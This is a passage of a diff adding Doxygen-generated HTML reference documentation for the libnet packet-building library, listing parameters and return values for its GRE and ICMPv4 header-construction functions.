+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any protocol. Hence, the IP part of the packet is usually referred as "delivery header". It is then followed by the GRE header and finally the encapsulated packet (IP or whatever). As GRE is very modular, the first GRE header describes the structure of the header, using bits and flag to specify which fields will be present in the header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>fv</em>&nbsp;</td><td>the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version. </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>which protocol is encapsulated (PPP, IP, ...) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill). </td></tr>
+ <tr><td valign=top><em>offset</em>&nbsp;</td><td>byte offset from the start of the routing field to the first byte of the SRE </td></tr>
+ <tr><td valign=top><em>key</em>&nbsp;</td><td>inserted by the encapsulator to authenticate the source </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>sequence number used by the receiver to sort the packets </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>size of the GRE packet </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a85" doxytag="libnet-functions.h::libnet_build_gre_last_sre" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_gre_last_sre </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a84" doxytag="libnet-functions.h::libnet_build_gre_sre" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_gre_sre </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>af</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>offset</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>length</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>routing</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a38" doxytag="libnet-functions.h::libnet_build_icmpv4_echo" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_icmpv4_echo </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) echo request/reply header <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of ICMP packet (should be ICMP_ECHOREPLY or ICMP_ECHO) </td></tr>
+ <tr><td valign=top><em>code</em>&nbsp;</td><td>code of ICMP packet (should be 0) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>identification number </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>packet sequence number </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a39" doxytag="libnet-functions.h::libnet_build_icmpv4_mask" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_icmpv4_mask </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>mask</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) IP netmask request/reply header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of ICMP packet (should be ICMP_MASKREQ or ICMP_MASKREPLY) </td></tr>
+ <tr><td valign=top><em>code</em>&nbsp;</td><td>code of ICMP packet (should be 0) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>identification number </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>packet sequence number </td></tr>
+ <tr><td valign=top><em>mask</em>&nbsp;</td><td>subnet mask </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a41" doxytag="libnet-functions.h::libnet_build_icmpv4_redirect" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_icmpv4_redirect </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>gateway</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_tos</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_frag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_ttl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_prot</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_check</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IP version 4 RFC 792 Internet Message Control Protocol (ICMP) redirect header. The additional arguments enable the application programmer to easily specify the original IP header values (the IP header of the packet that supposedly caused the ICMP redirect message in the first place). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of ICMP packet (should be ICMP_REDIRECT) </td></tr>
+ <tr><td valign=top><em>code</em>&nbsp;</td><td>code of ICMP packet (should be one of the four redirect codes) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>orig_id</em>&nbsp;</td><td>original IP header identification </td></tr>
+ <tr><td valign=top><em>orig_frag</em>&nbsp;</td><td>original IP header fragmentation information </td></tr>
+ <tr><td valign=top><em>orig_ttl</em>&nbsp;</td><td>orginal IP header time to live </td></tr>
+ <tr><td valign=top><em>orig_prot</em>&nbsp;</td><td>original IP header protocol </td></tr>
+ <tr><td valign=top><em>orig_check</em>&nbsp;</td><td>original IP header checksum </td></tr>
+ <tr><td valign=top><em>orig_src</em>&nbsp;</td><td>original IP header source address </td></tr>
+ <tr><td valign=top><em>orig_dst</em>&nbsp;</td><td>original IP header destination address </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a42" doxytag="libnet-functions.h::libnet_build_icmpv4_timeexceed" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_icmpv4_timeexceed </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_tos</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_frag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_ttl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_prot</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_check</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) time exceeded header. The additional arguments enable the application programmer to easily specify the original IPv4 header values (the IP header of the packet that supposedly caused the ICMP time exceeded message in the first place). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of ICMP packet (should be ICMP_TIMXCEED) </td></tr>
+ <tr><td valign=top><em>code</em>&nbsp;</td><td>code of ICMP packet (ICMP_TIMXCEED_INTRANS / ICMP_TIMXCEED_REASS) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>orig_id</em>&nbsp;</td><td>original IP header identification </td></tr>
+ <tr><td valign=top><em>orig_frag</em>&nbsp;</td><td>original IP header fragmentation information </td></tr>
+ <tr><td valign=top><em>orig_ttl</em>&nbsp;</td><td>orginal IP header time to live </td></tr>
+ <tr><td valign=top><em>orig_prot</em>&nbsp;</td><td>original IP header protocol </td></tr>
+ <tr><td valign=top><em>orig_check</em>&nbsp;</td><td>original IP header checksum </td></tr>
+ <tr><td valign=top><em>orig_src</em>&nbsp;</td><td>original IP header source address </td></tr>
+ <tr><td valign=top><em>orig_dst</em>&nbsp;</td><td>original IP header destination address </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a43" doxytag="libnet-functions.h::libnet_build_icmpv4_timestamp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_icmpv4_timestamp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>n_time&nbsp;</td>
+ <td class="mdname" nowrap> <em>otime</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>n_time&nbsp;</td>
+ <td class="mdname" nowrap> <em>rtime</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>n_time&nbsp;</td>
+ <td class="mdname" nowrap> <em>ttime</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) timestamp request/reply header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of ICMP packet (should be ICMP_TSTAMP or ICMP_TSTAMPREPLY) </td></tr>
+ <tr><td valign=top><em>code</em>&nbsp;</td><td>code of ICMP packet (should be 0) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>identification number </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>sequence number </td></tr>
+ <tr><td valign=top><em>otime</em>&nbsp;</td><td>originate timestamp </td></tr>
+ <tr><td valign=top><em>rtime</em>&nbsp;</td><td>receive timestamp </td></tr>
+ <tr><td valign=top><em>ttime</em>&nbsp;</td><td>transmit timestamp </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a40" doxytag="libnet-functions.h::libnet_build_icmpv4_unreach" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_icmpv4_unreach </td>
+ <td class="md" valign="top">(&nbsp;</td>
